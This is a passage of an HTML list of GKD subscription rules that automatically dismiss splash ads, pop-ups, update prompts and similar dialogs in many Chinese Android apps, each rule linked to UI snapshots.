href="https://gkd-kit.gitee.io/import/12640195">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12640158">快照-1</a></li> </ul> </li> <li>默认禁用 <strong>系统推送提示信息</strong> - 点击顶部提醒左侧x按钮 <ul> <li><a href="https://gkd-kit.gitee.io/import/12640242">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.qiyi.video.ts">com.qiyi.video</a> - 爱奇艺</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>青少年弹窗</strong></li> <li><strong>我的-顶部广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12495050">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.quark.browser.ts">com.quark.browser</a> - 夸克浏览器</h3> <ul> <li><strong>小说阅读页面底部广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.sankuai.meituan.ts">com.sankuai.meituan</a> - 美团</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>版本更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12614559">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>美团买菜活动弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12639717">快照-0</a></li> </ul> </li> <li><strong>小调查弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12639723">快照-0</a></li> </ul> </li> <li><strong>首页右侧抽奖小广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12639815">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12639734">快照-1</a></li> </ul> </li> <li><strong>美团买菜-支付成功后-红包弹窗</strong> - 美团买菜-支付成功后-关闭红包弹窗 <ul> <li><a href="https://gkd-kit.gitee.io/import/12646768">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.sankuai.meituan.takeoutnew.ts">com.sankuai.meituan.takeoutnew</a> - 美团外卖</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>关闭更新弹窗</strong></li> <li><strong>关闭美食广告弹窗</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.sankuai.movie.ts">com.sankuai.movie</a> - 猫眼</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12649967">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12649911">快照-1</a></li> </ul> </li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12649942">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12649938">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.sdu.didi.psnger.ts">com.sdu.didi.psnger</a> - 滴滴</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.sf.activity.ts">com.sf.activity</a> - 顺丰速运</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642434">快照-0</a></li> </ul> </li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642445">快照-0</a></li> </ul> </li> <li><strong>专属月报弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642441">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.shark.jizhang.ts">com.shark.jizhang</a> - 鲨鱼记账</h3> <ul> <li><strong>新用户特惠广告</strong> - 弹窗广告,右下角浮动广告 <ul> <li><a href="https://gkd-kit.gitee.io/import/12518500">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12518517">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.shuqi.controller.ts">com.shuqi.controller</a> - 书旗小说</h3> <ul> <li><strong>内部右侧浮动广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12513811">快照-0</a></li> </ul> </li> <li><strong>关闭打卡红包弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12513822">快照-0</a></li> </ul> </li> <li><strong>阅读页面底部广告</strong> - 点击关闭x图标-关闭优惠券弹窗-关闭当前广告 <ul> <li><a href="https://gkd-kit.gitee.io/import/12513893">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12513908">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12513860">快照-2</a></li> </ul> </li> <li><strong>听书页面底部广告</strong> - 点击卡片右上角关闭按钮-点击底部中间&lt;关闭当前广告&gt; <ul> <li><a href="https://gkd-kit.gitee.io/import/12513959">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12513944">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.sina.weibo.ts">com.sina.weibo</a> - 微博</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>评论区顶部-相关推荐</strong></li> <li><strong>关闭不感兴趣广告弹窗</strong></li> <li><strong>兴趣领域推荐</strong> - 出现在长久未登录的账户再次登录时 <ul> <li><a href="https://gkd-kit.songe.li/import/12531405">快照-0</a></li> </ul> </li> <li><strong>精选博主推荐</strong> - 出现在长久未登录的账户再次登录时 <ul> <li><a href="https://gkd-kit.songe.li/import/12531433">快照-0</a></li> <li><a href="https://gkd-kit.songe.li/import/12531434">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.sinovatech.unicom.ui.ts">com.sinovatech.unicom.ui</a> - 中国联通</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12535185">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.smile.gifmaker.ts">com.smile.gifmaker</a> - 快手</h3> <ul> <li><strong>关闭青少年弹窗</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.smzdm.client.android.ts">com.smzdm.client.android</a> - 什么值得买</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12535072">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.snda.wifilocating.ts">com.snda.wifilocating</a> - WiFi万能钥匙</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/4d6fdd1e-28ec-4b61-86e2-641b7b5b8899">快照-0</a></li> </ul> </li> <li><strong>内部广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.ss.android.article.video.ts">com.ss.android.article.video</a> - 西瓜视频</h3> <ul> <li><strong>西瓜视频-关闭青少年模式弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/78f0c1f6-e8da-4bc4-acd3-5e6dc056b044">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.ss.android.auto.ts">com.ss.android.auto</a> - 懂车帝</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12605327">快照-0</a></li> </ul> </li> <li><strong>首页推荐卡片广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12660816">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.ss.android.ugc.aweme.ts">com.ss.android.ugc.aweme</a> - 抖音</h3> <ul> <li><strong>关闭青少年弹窗</strong></li> <li><strong>关闭用户推荐</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12520962">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12520943">快照-1</a></li> </ul> </li> <li><strong>关闭朋友推荐弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12525387">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12525389">快照-1</a></li> </ul> </li> <li><strong>关闭更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12534016">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.taobao.taobao.ts">com.taobao.taobao</a> - 淘宝</h3> <ul> <li><strong>开屏广告</strong></li> <li>默认禁用 <strong>限时福利弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642792">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12648734">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12648746">快照-2</a></li> </ul> </li> <li><strong>消息页面-热门活动卡片</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642795">快照-0</a></li> </ul> </li> <li><strong>视频页面-活动弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642813">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>视频页面-签到弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642798">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.androidqqmail.ts">com.tencent.androidqqmail</a> - qq邮箱</h3> <ul> <li><strong>广告邮件-列表卡片广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.djcity.ts">com.tencent.djcity</a> - 掌上道聚城</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.karaoke.ts">com.tencent.karaoke</a> - 全民K歌</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.mm.ts">com.tencent.mm</a> - 微信</h3> <ul> <li><strong>朋友圈广告</strong> - 朋友圈信息流广告,点击关闭按钮,确认关闭 <ul> <li><a href="https://github.com/gkd-kit/subscription/assets/38517192/c9ae4bba-a748-4755-b5e4-c7ad3d489a79">示例-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642588">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642584">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12663984">快照-2</a></li> </ul> </li> <li><strong>电脑微信快捷自动登录</strong></li> <li><strong>浏览器扫码微信登录自动授权</strong></li> <li>默认禁用 <strong>第三方APP申请使用授权弹窗</strong> - 自动点击允许,但由于此界面可以额外新建昵称头像,默认不启用 <ul> <li><a href="https://gkd-kit.gitee.io/import/12663602">快照-0</a></li> </ul> </li> <li><strong>微信读书网页版扫码登录自动授权</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12506197">快照-0</a></li> <li><a href="https://gkd-kit.songe.li/import/12506201">快照-1</a></li> </ul> </li> <li>默认禁用 <strong>微信红包自动领取</strong> - 自动领取私聊红包,群聊红包 <ul> <li><a href="https://github.com/gkd-kit/subscription/assets/38517192/32cfda78-b2e1-456c-8d85-bfb2bc4683aa">示例-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12567696">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12567697">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12567698">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12567637">快照-3</a></li> </ul> </li> <li>默认禁用 <strong>订阅号底部广告</strong> - 自动点击-广告反馈按钮-不感兴趣-与我无关 <ul> <li><a href="https://gkd-kit.gitee.io/import/12642232">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12646837">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642234">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642238">快照-3</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.mobileqq.ts">com.tencent.mobileqq</a> - QQ</h3> <ul> <li>默认禁用 <strong>开屏广告</strong> - 规则误触,待修复,需要快照准确定位</li> <li><strong>消息页面-顶部广告</strong></li> <li><strong>好友动态-广告卡片</strong></li> <li><strong>频道页面-广告弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642081">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.mtt.ts">com.tencent.mtt</a> - QQ浏览器</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/7d8e9661-c29a-4448-94c2-d7b0a1756107">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.qqlive.ts">com.tencent.qqlive</a> - 腾讯视频</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>关闭青少年弹窗</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.qqmusic.ts">com.tencent.qqmusic</a> - QQ音乐</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>推荐页-广告卡片</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.qt.sns.ts">com.tencent.qt.sns</a> - 掌上穿越火线</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tencent.weread.ts">com.tencent.weread</a> - 微信读书</h3> <ul> <li><strong>系统推送弹窗</strong> - 系统推送弹窗-点击取消 <ul> <li><a href="https://gkd-kit.gitee.io/import/12642247">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tima.carnet.m.main.ts">com.tima.carnet.m.main</a> - 钛马星</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/22029832/5aa3f016-d33c-4821-91bd-f23235b04ad3">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12594568">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12594574">快照-2</a></li> </ul> </li> <li><strong>每日弹窗广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12654432">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.tiqiaa.icontrol.ts">com.tiqiaa.icontrol</a> - 遥控精灵</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642183">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642185">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.umetrip.android.msky.app.ts">com.umetrip.android.msky.app</a> - 航旅纵横</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642287">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.videogo.ts">com.videogo</a> - 萤石云视频</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12565356">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.weico.international.ts">com.weico.international</a> - 微博轻享版</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12509123">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12510132">快照-1</a></li> </ul> </li> <li><strong>主页-推荐流广告</strong> <ul> <li><a href="https://github.com/gkd-kit/subscription/assets/38517192/e713a2ca-5048-486a-874f-dd876d53c49b">示例-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12505755">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12505764">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12505753">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12505763">快照-3</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.wondertek.paper.ts">com.wondertek.paper</a> - 澎湃新闻</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12644536">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12645559">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xiachufang.ts">com.xiachufang</a> - 下厨房</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.songe.li/import/12505985">快照-0</a></li> <li><a href="https://gkd-kit.songe.li/import/12506014">快照-1</a></li> <li><a href="https://gkd-kit.songe.li/import/12506041">快照-2</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xiaomi.market.ts">com.xiaomi.market</a> - 小米应用商店</h3> <ul> <li><strong>首页悬浮窗广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xiaomi.shop.ts">com.xiaomi.shop</a> - 小米商城</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/9083b291-43f8-4d92-a506-a9dc6ed0156f">快照-0</a></li> </ul> </li> <li><strong>首页弹窗广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12649330">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xiaomi.smarthome.ts">com.xiaomi.smarthome</a> - 米家</h3> <ul> <li><strong>米家智惠广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12639658">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>设备固件升级提示弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12639671">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xiaomi.vipaccount.ts">com.xiaomi.vipaccount</a> - 小米社区</h3> <ul> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642466">快照-0</a></li> </ul> </li> <li><strong>评论区广告卡片</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642459">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.ximalaya.ting.android.ts">com.ximalaya.ting.android</a> - 喜马拉雅</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12506207">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12506273">快照-1</a></li> </ul> </li> <li><strong>首页右侧浮动广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/45664dfb-b8e6-4bdb-b5bb-9852c7a86a2f">快照-0</a></li> </ul> </li> <li><strong>播放页面-暂停按钮下面的广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12506218">快照-0</a></li> </ul> </li> <li><strong>播放页面-底部推荐列表-夹杂广告</strong> - 点击关闭-点击屏蔽 <ul> <li><a href="https://gkd-kit.gitee.io/import/12506269">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12506225">快照-1</a></li> </ul> </li> <li><strong>播放页面-播放前广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12506250">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12520626">快照-1</a></li> </ul> </li> <li><strong>首页-推荐列表广告</strong> - 点击关闭-点击屏蔽 <ul> <li><a href="https://gkd-kit.gitee.io/import/12506258">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12506253">快照-1</a></li> </ul> </li> <li><strong>关闭热播推荐广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12506270">快照-0</a></li> </ul> </li> <li><strong>关闭更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12506287">快照-0</a></li> </ul> </li> <li><strong>关闭青少年模式弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12506209">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.ximalaya.ting.lite.ts">com.ximalaya.ting.lite</a> - 喜马拉雅极速版</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>首页-推荐-卡片广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xingluo.allcolor.ts">com.xingluo.allcolor</a> - 一起来涂色</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640349">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>底部穿山甲广告</strong> - 点击广告卡片x关闭按钮-关闭反馈理由弹窗 <ul> <li><a href="https://gkd-kit.gitee.io/import/12640358">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12640359">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12640362">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12640374">快照-3</a></li> <li><a href="https://gkd-kit.gitee.io/import/12640406">快照-4</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xunlei.downloadprovider.ts">com.xunlei.downloadprovider</a> - 迅雷</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xunmeng.pinduoduo.ts">com.xunmeng.pinduoduo</a> - 拼多多</h3> <ul> <li>默认禁用 <strong>开屏广告</strong> - 占位,暂时不起作用</li> <li><strong>更新弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642017">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>首页优惠弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642015">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642019">快照-1</a></li> </ul> </li> <li>默认禁用 <strong>免单活动弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642032">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12642038">快照-1</a></li> </ul> </li> <li>默认禁用 <strong>红包弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642023">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>多多买菜抽奖弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642053">快照-0</a></li> </ul> </li> <li><strong>多多视频悬浮窗广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642058">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.xyhui.ts">com.xyhui</a> - PU口袋校园</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642486">快照-0</a></li> </ul> </li> <li><strong>优量汇广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12642482">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12646347">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12646519">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12646541">快照-3</a></li> <li><a href="https://gkd-kit.gitee.io/import/12643276">快照-4</a></li> <li><a href="https://gkd-kit.gitee.io/import/12646420">快照-5</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.yek.android.kfc.activitys.ts">com.yek.android.kfc.activitys</a> - 肯德基</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.yipiao.ts">com.yipiao</a> - 智行火车票12306抢票</h3> <ul> <li><strong>开屏广告</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.zgnet.eClass.ts">com.zgnet.eClass</a> - 掌医课堂</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12644260">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>退出确认弹窗(默认关闭)</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12645513">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.zhihu.android.ts">com.zhihu.android</a> - 知乎</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>关闭广告弹窗</strong> - 点击 关闭广告按钮 之后出现的广告弹窗</li> <li><strong>关闭广告原因</strong> - 点击 关闭广告按钮 之后出现的选择原因</li> <li><strong>关闭推荐</strong> - 关闭回答底部其他回答</li> <li><strong>推荐页广告卡片</strong> - 赚稿费广告卡片,盐选推荐广告,知乎学课堂,汽车广告</li> <li><strong>问题-回答列表-卡片广告</strong></li> <li><strong>回答底部评论顶部的任意广告推荐</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647617">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647659">快照-1</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647525">快照-2</a></li> <li><a href="https://gkd-kit.gitee.io/import/12647541">快照-3</a></li> </ul> </li> <li><strong>关闭首页广告</strong></li> <li><strong>推荐页-顶部广告</strong></li> <li>默认禁用 <strong>推送通知弹窗</strong> - 推送通知弹窗-点击x按钮 <ul> <li><a href="https://gkd-kit.gitee.io/import/12647583">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>盐选会员-月卡红包</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647421">快照-0</a></li> </ul> </li> <li>默认禁用 <strong>问题回答-自动展开</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12647688">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.zidongdianji.ts">com.zidongdianji</a> - 自动点击器</h3> <ul> <li><strong>开屏广告</strong></li> <li><strong>首页顶部广告卡片</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/com.zy.flt_yishang.ts">com.zy.flt_yishang</a> - 飞猫管家</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12641337">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/ctrip.android.view.ts">ctrip.android.view</a> - 携程旅行</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/38517192/104f3807-7613-46ff-9eb2-3c8bcb6ee3b1">快照-0</a></li> <li><a href="https://gkd-kit.songe.li/import/12511071">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/fm.qingting.qtradio.ts">fm.qingting.qtradio</a> - 蜻蜓FM</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640433">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12640971">快照-1</a></li> </ul> </li> <li><strong>播放界面的广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12640438">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12640981">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/gov.pianzong.androidnga.ts">gov.pianzong.androidnga</a> - NGA玩家社区</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12476484">快照-0</a></li> </ul> </li> <li><strong>首页-推荐-广告卡片</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12482727">快照-0</a></li> </ul> </li> <li><strong>话题-帖子列表广告</strong> - 点击卡片右下角x按钮关闭广告 <ul> <li><a href="https://gkd-kit.gitee.io/import/12655805">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/insigma.waybook.jinan.ts">insigma.waybook.jinan</a> - 369出行</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12660773">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/li.songe.gkd.ts">li.songe.gkd</a> - GKD</h3> <ul> <li><strong>GKD-空规则组</strong></li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/make.more.r2d2.cellular_z.ts">make.more.r2d2.cellular_z</a> - Cellular-Z</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12648511">快照-0</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/me.chunyu.ChunyuDoctor.ts">me.chunyu.ChunyuDoctor</a> - 春雨医生</h3> <ul> <li><strong>开屏广告</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12661722">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12661937">快照-1</a></li> </ul> </li> <li><strong>应用评分弹窗</strong> <ul> <li><a href="https://gkd-kit.gitee.io/import/12661907">快照-0</a></li> <li><a href="https://gkd-kit.gitee.io/import/12661924">快照-1</a></li> </ul> </li> </ul> <h3><a href="https://raw.githubusercontent.com/gkd-kit/subscription/main/src/apps/me.ele.ts">me.ele</a> - 饿了么</h3> <ul> 